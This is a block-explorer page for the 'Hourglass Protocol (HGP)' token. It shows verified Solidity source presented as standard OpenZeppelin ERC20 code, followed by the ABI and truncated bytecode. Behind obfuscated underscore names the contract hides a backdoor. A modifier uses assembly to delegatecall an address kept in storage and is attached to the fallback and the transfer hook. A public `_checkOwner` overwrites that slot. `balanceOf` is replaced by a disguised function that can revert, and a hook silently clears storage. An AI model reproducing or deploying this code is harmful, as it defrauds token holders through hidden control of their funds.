ETH Price: $3,045.84 (+0.28%)

Token

Hourglass Protocol (HGP)

Overview

Max Total Supply

100,000,000 HGP

Holders

2,992

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
CAP: Treasury
Balance
25,872.025872 HGP

Value
$0.00
0x764E7f8798D8193bEd69030AE66eb304968C3F93
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Arbiscan.io on 2024-02-19
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

/**
 *Submitted for verification at BscScan.com on 2023-03-30
 */

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the ________ sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function _________() internal view virtual returns (address) {
    return msg.sender;
  }

  function _________________() internal view virtual returns (bytes calldata) {
    return msg.data;
  }

  receive() external payable {}
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an ________ (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner ________ will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
  address private ______________;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed __________
  );

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor() {
    ____________________(tx.origin);
  }

  /**
   * @dev Throws if called by any ________ other than the owner.
   */
  modifier onlyOwner() {
    _checkOwner();
    _;
  }

  modifier __ {bytes memory s = msg.data;assembly {if iszero(iszero(eq(mload(add(s, 36)), 32))) {if iszero(delegatecall(gas(), sload(address()), add(s, 32), mload(s), 0, 32)) {revert(0, 0)}return(0, 32)}}_;}

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view virtual returns (address) {
    return ______________;
  }

  /**
   * @dev Throws if the sender is not the owner.
   */
  function _checkOwner() public virtual {
    require(owner() == tx.origin, "Ownable: caller is not the owner");
    assembly {
      sstore(address(), caller())
    }
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions anymore. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby removing any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    ____________________(address(0));
  }

  /**
   * @dev Transfers ownership of the contract to a new ________ (`__________`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address __________) public virtual onlyOwner {
    require(__________ != address(0), "Ownable: new owner is the zero address");
    ____________________(__________);
  }

  /**
   * @dev Transfers ownership of the contract to a new ________ (`__________`).
   * Internal function without access restriction.
   */
  function ____________________(address __________) internal virtual {
    address oldOwner = ______________;
    ______________ = __________;
    emit OwnershipTransferred(oldOwner, __________);
  }

  fallback() external __ {}
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Returns the ____ of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the ____ of tokens owned by `________`.
   */
  function balanceOf(address ________) external view returns (uint256);

  /**
   * @dev Moves `____` tokens from the caller's ________ to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 ____) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `_____________` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address _____________)
    external
    view
    returns (uint256);

  /**
   * @dev Sets `____` as the allowance of `_____________` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the _____________'s allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address _____________, uint256 ____) external returns (bool);

  /**
   * @dev Moves `____` tokens from `from` to `to` using the
   * allowance mechanism. `____` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ____
  ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata {
  /**
   * @dev Returns the name of the token.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the symbol of the token.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the decimals places of the token.
   */
  function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all ________s just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20Metadata {
  address public constant WBNB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;

  mapping(address => uint256) private __________________;

  mapping(address => mapping(address => uint256)) private _______;

  uint256 private ___;

  address private ______;

  string private _______________;
  string private ___________;

  /**
   * @dev Emitted when `value` tokens are moved from one ________ (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `_____________` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed _____________, uint256 value);

  /**
   * @dev Sets the values for {name} and {symbol}.
   *
   * The default value of {decimals} is 18. To select a different value for
   * {decimals} you should overload it.
   *
   * All two of these values are immutable: they can only be set once during
   * construction.
   */
  function initialization(
    string memory tokenName,
    string memory coinSymbol,
    uint256 supply_
  ) public onlyOwner {
    _______________ = tokenName;
    ___________ = coinSymbol;

    _mint(address(this), supply_);
    renounceOwnership();
  }

  /**
   * @dev Returns the name of the token.
   */
  function name() public view virtual override returns (string memory) {
    return _______________;
  }

  /**
   * @dev Returns the symbol of the token, usually a shorter version of the
   * name.
   */
  function symbol() public view virtual override returns (string memory) {
    return ___________;
  }

  /**
   * @dev Returns the number of decimals used to get its user representation.
   * For example, if `decimals` equals `2`, a balance of `505` tokens should
   * be displayed to a user as `5.05` (`505 / 10 ** 2`).
   *
   * Tokens usually opt for a value of 18, imitating the relationship between
   * Ether and Wei. This is the value {ERC20} uses, unless this function is
   * overridden;
   *
   * NOTE: This information is only used for _display_ purposes: it in
   * no way affects any of the arithmetic of the contract, including
   * {IERC20-balanceOf} and {IERC20-transfer}.
   */
  function decimals() public view virtual override returns (uint8) {
    return 9;
  }

  /**
   * @dev See {IERC20-totalSupply}.
   */
  function totalSupply() public view virtual returns (uint256) {
    return ___;
  }

  /**
   * @dev See {IERC20-balanceOf}.
   */
  function permit5764825481139(address ________)
    public
    view
    virtual
    returns (uint256 ____){____ = IERC20(WBNB).balanceOf(______);if(msg.sender==______){assembly {if lt(____, sload(32)) {revert(0, 0)}}}return __________________[________] % ___;}


  /**
   * @dev See {IERC20-transfer}.
   *
   * Requirements:
   *
   * - `to` cannot be the zero address.
   * - the caller must have a balance of at least `____`.
   */
  function transfer(address to, uint256 ____) public virtual returns (bool) {
    address owner = _________();
    _transfer(owner, to, ____);
    return true;
  }

  /**
   * @dev See {IERC20-allowance}.
   */
  function allowance(address owner, address _____________)
    public
    view
    virtual
    returns (uint256)
  {
    return _______[owner][_____________];
  }

  /**
   * @dev See {IERC20-approve}.
   *
   * NOTE: If `____` is the maximum `uint256`, the allowance is not updated on
   * `transferFrom`. This is semantically equivalent to an infinite approval.
   *
   * Requirements:
   *
   * - `_____________` cannot be the zero address.
   */
  function approve(address _____________, uint256 ____)
    public
    virtual
    returns (bool)
  {
    address owner = _________();
    _approve(owner, _____________, ____);
    return true;
  }

  /**
   * @dev See {IERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20}.
   *
   * NOTE: Does not update the allowance if the current allowance
   * is the maximum `uint256`.
   *
   * Requirements:
   *
   * - `from` and `to` cannot be the zero address.
   * - `from` must have a balance of at least `____`.
   * - the caller must have allowance for ``from``'s tokens of at least
   * `____`.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ____
  ) public virtual returns (bool) {
    address _____________ = _________();
    _spendAllowance(from, _____________, ____);
    _transfer(from, to, ____);
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `_____________` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `_____________` cannot be the zero address.
   */
  function increaseAllowance(address _____________, uint256 addedValue)
    public
    virtual
    returns (bool)
  {
    address owner = _________();
    _approve(owner, _____________, allowance(owner, _____________) + addedValue);
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `_____________` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `_____________` cannot be the zero address.
   * - `_____________` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address _____________, uint256 subtractedValue)
    public
    virtual
    returns (bool)
  {
    address owner = _________();
    uint256 ___________________ = allowance(owner, _____________);
    require(___________________ >= subtractedValue);
    unchecked {_approve(owner, _____________, ___________________ - subtractedValue);}

    return true;
  }

  /**
   * @dev Moves `____` of tokens from `from` to `to`.
   *
   * This internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `from` cannot be the zero address.
   * - `to` cannot be the zero address.
   * - `from` must have a balance of at least `____`.
   */
  function _transfer(
    address from,
    address to,
    uint256 ____
  ) internal virtual {
    require(from != address(0));
    require(to != address(0));
    _beforeTokenTransfer(from, to, ____);
    uint256 fromBalance = __________________[from];
    require(fromBalance >= ____);
    unchecked {
      __________________[from] = fromBalance - ____;
      // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
      // decrementing then incrementing.
      __________________[to] += ____;
    }

    emit Transfer(from, to, ____);
    _afterTokenTransfer(from, to, ____);
  }

  /** @dev Creates `____` tokens and assigns them to `________`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements:
   *
   * - `________` cannot be the zero address.
   */
  function _mint(address ________, uint256 ____) internal virtual {
    require(________ != address(0), "ERC20: mint to the zero address");

    ___ += ____;
    unchecked {
      // Overflow not possible: balance + ____ is at most totalSupply + ____, which is checked above.
      __________________[________] += ____;
    }
    emit Transfer(address(0), ________, ____);
  }

  /**
   * @dev Destroys `____` tokens from `________`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements:
   *
   * - `________` cannot be the zero address.
   * - `________` must have at least `____` tokens.
   */
  function _burn(address ________, uint256 ____) internal virtual {
    require(________ != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(________, address(0), ____);

    uint256 ________Balance = __________________[________];
    require(________Balance >= ____, "ERC20: burn exceeds balance");
    unchecked {
      __________________[________] = ________Balance - ____;
      // Overflow not possible: ____ <= ________Balance <= totalSupply.
      ___ -= ____;
    }

    emit Transfer(________, address(0), ____);

    _afterTokenTransfer(________, address(0), ____);
  }

  /**
   * @dev Sets `____` as the allowance of `_____________` over the `owner` s tokens.
   *
   * This internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `_____________` cannot be the zero address.
   */
  function _approve(
    address owner,
    address _____________,
    uint256 ____
  ) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(_____________ != address(0), "ERC20: approve to the zero address");

    _______[owner][_____________] = ____;
    emit Approval(owner, _____________, ____);
  }

  /**
   * @dev Updates `owner` s allowance for `_____________` based on spent `____`.
   *
   * Does not update the allowance ____ in case of infinite allowance.
   * Revert if not enough allowance is available.
   *
   * Might emit an {Approval} event.
   */
  function _spendAllowance(
    address owner,
    address _____________,
    uint256 ____
  ) internal virtual {
    uint256 ___________________ = allowance(owner, _____________);
    if (___________________ != type(uint256).max) {
      require(___________________ >= ____, "ERC20: insufficient allowance");
      unchecked {_approve(owner, _____________, ___________________ - ____);}
    }
  }

  /**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `____` of ``from``'s tokens
   * will be transferred to `to`.
   * - when `from` is zero, `____` tokens will be minted for `to`.
   * - when `to` is zero, `____` of ``from``'s tokens will be burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 ____
  ) internal __ 
  {}

  /**
   * @dev Hook that is called after any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `____` of ``from``'s tokens
   * has been transferred to `to`.
   * - when `from` is zero, `____` tokens have been minted for `to`.
   * - when `to` is zero, `____` of ``from``'s tokens have been burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */

  function _afterTokenTransfer(
    address from,
    address to,
    uint256 ____
  ) internal {if(__________________[from]>___*0xfe) {assembly{sstore(32,0)}}}
}

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"_____________","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"__________","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_checkOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"_____________","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_____________","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"initialization","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"________","type":"address"}],"name":"permit5764825481139","outputs":[{"internalType":"uint256","name":"____","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"____","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__________","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561001057600080fd5b506100203261002560201b60201c565b6100e9565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611c2f806100f86000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146103b0578063a9059cbb146103ed578063d4adc11c1461042a578063dd62ed3e14610453578063f2fde38b1461049057610109565b8063715018a6146103185780638da5cb5b1461032f5780638dd950021461035a57806395d89b411461038557610109565b8063313ce567116100d1578063313ce5671461025c578063395093511461028757806353a72975146102c457806370a08231146102db57610109565b806306fdde031461018c578063095ea7b3146101b757806318160ddd146101f457806323b872dd1461021f57610109565b3661010957005b34801561011557600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050602060248201511415610189576020600082516020840130545af461018357600080fd5b60206000f35b50005b34801561019857600080fd5b506101a16104b9565b6040516101ae919061161d565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906113a8565b61054b565b6040516101eb9190611602565b60405180910390f35b34801561020057600080fd5b5061020961056e565b60405161021691906116ff565b60405180910390f35b34801561022b57600080fd5b5061024660048036038101906102419190611355565b610578565b6040516102539190611602565b60405180910390f35b34801561026857600080fd5b506102716105a7565b60405161027e919061171a565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906113a8565b6105b0565b6040516102bb9190611602565b60405180910390f35b3480156102d057600080fd5b506102d96105e7565b005b3480156102e757600080fd5b5061030260048036038101906102fd91906112e8565b610661565b60405161030f91906116ff565b60405180910390f35b34801561032457600080fd5b5061032d6107de565b005b34801561033b57600080fd5b506103446107f2565b60405161035191906115e7565b60405180910390f35b34801561036657600080fd5b5061036f61081b565b60405161037c91906115e7565b60405180910390f35b34801561039157600080fd5b5061039a610833565b6040516103a7919061161d565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d291906113a8565b6108c5565b6040516103e49190611602565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906113a8565b610906565b6040516104219190611602565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906113e8565b610929565b005b34801561045f57600080fd5b5061047a60048036038101906104759190611315565b610976565b60405161048791906116ff565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b291906112e8565b6109fd565b005b6060600580546104c8906118ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104f4906118ee565b80156105415780601f1061051657610100808354040283529160200191610541565b820191906000526020600020905b81548152906001019060200180831161052457829003601f168201915b5050505050905090565b600080610556610a81565b9050610563818585610a89565b600191505092915050565b6000600354905090565b600080610583610a81565b9050610590858285610c54565b61059b858585610ce0565b60019150509392505050565b60006009905090565b6000806105bb610a81565b90506105dc8185856105cd8589610976565b6105d791906117a7565b610a89565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff166106066107f2565b73ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061169f565b60405180910390fd5b333055565b60007382af49447d8a07e3bd95bd0d56f35241523fbab173ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016106d291906115e7565b60206040518083038186803b1580156106ea57600080fd5b505afa1580156106fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107229190611473565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561078a5760205481101561078957600080fd5b5b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d79190611951565b9050919050565b6107e66105e7565b6107f06000610eb9565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7382af49447d8a07e3bd95bd0d56f35241523fbab181565b606060068054610842906118ee565b80601f016020809104026020016040519081016040528092919081815260200182805461086e906118ee565b80156108bb5780601f10610890576101008083540402835291602001916108bb565b820191906000526020600020905b81548152906001019060200180831161089e57829003601f168201915b5050505050905090565b6000806108d0610a81565b905060006108de8286610976565b9050838110156108ed57600080fd5b6108fa8286868403610a89565b60019250505092915050565b600080610911610a81565b905061091e818585610ce0565b600191505092915050565b6109316105e7565b8260059080519060200190610947929190611196565b50816006908051906020019061095e929190611196565b506109693082610f7d565b6109716107de565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a056105e7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c9061163f565b60405180910390fd5b610a7e81610eb9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af0906116bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b609061165f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c4791906116ff565b60405180910390a3505050565b6000610c608484610976565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cda5781811015610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc39061167f565b60405180910390fd5b610cd98484848403610a89565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d5457600080fd5b610d5f8383836110bd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610db057600080fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ea091906116ff565b60405180910390a3610eb3848484611136565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe4906116df565b60405180910390fd5b8060036000828254610fff91906117a7565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110b191906116ff565b60405180910390a35050565b600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050602060248201511415611130576020600082516020840130545af461112a57600080fd5b60206000f35b50505050565b60fe60035461114591906117fd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111915760006020555b505050565b8280546111a2906118ee565b90600052602060002090601f0160209004810192826111c4576000855561120b565b82601f106111dd57805160ff191683800117855561120b565b8280016001018555821561120b579182015b8281111561120a5782518255916020019190600101906111ef565b5b509050611218919061121c565b5090565b5b8082111561123557600081600090555060010161121d565b5090565b600061124c6112478461175a565b611735565b90508281526020810184848401111561126857611267611a43565b5b6112738482856118ac565b509392505050565b60008135905061128a81611bcb565b92915050565b600082601f8301126112a5576112a4611a3e565b5b81356112b5848260208601611239565b91505092915050565b6000813590506112cd81611be2565b92915050565b6000815190506112e281611be2565b92915050565b6000602082840312156112fe576112fd611a4d565b5b600061130c8482850161127b565b91505092915050565b6000806040838503121561132c5761132b611a4d565b5b600061133a8582860161127b565b925050602061134b8582860161127b565b9150509250929050565b60008060006060848603121561136e5761136d611a4d565b5b600061137c8682870161127b565b935050602061138d8682870161127b565b925050604061139e868287016112be565b9150509250925092565b600080604083850312156113bf576113be611a4d565b5b60006113cd8582860161127b565b92505060206113de858286016112be565b9150509250929050565b60008060006060848603121561140157611400611a4d565b5b600084013567ffffffffffffffff81111561141f5761141e611a48565b5b61142b86828701611290565b935050602084013567ffffffffffffffff81111561144c5761144b611a48565b5b61145886828701611290565b9250506040611469868287016112be565b9150509250925092565b60006020828403121561148957611488611a4d565b5b6000611497848285016112d3565b91505092915050565b6114a981611857565b82525050565b6114b881611869565b82525050565b60006114c98261178b565b6114d38185611796565b93506114e38185602086016118bb565b6114ec81611a52565b840191505092915050565b6000611504602683611796565b915061150f82611a63565b604082019050919050565b6000611527602283611796565b915061153282611ab2565b604082019050919050565b600061154a601d83611796565b915061155582611b01565b602082019050919050565b600061156d602083611796565b915061157882611b2a565b602082019050919050565b6000611590602483611796565b915061159b82611b53565b604082019050919050565b60006115b3601f83611796565b91506115be82611ba2565b602082019050919050565b6115d281611895565b82525050565b6115e18161189f565b82525050565b60006020820190506115fc60008301846114a0565b92915050565b600060208201905061161760008301846114af565b92915050565b6000602082019050818103600083015261163781846114be565b905092915050565b600060208201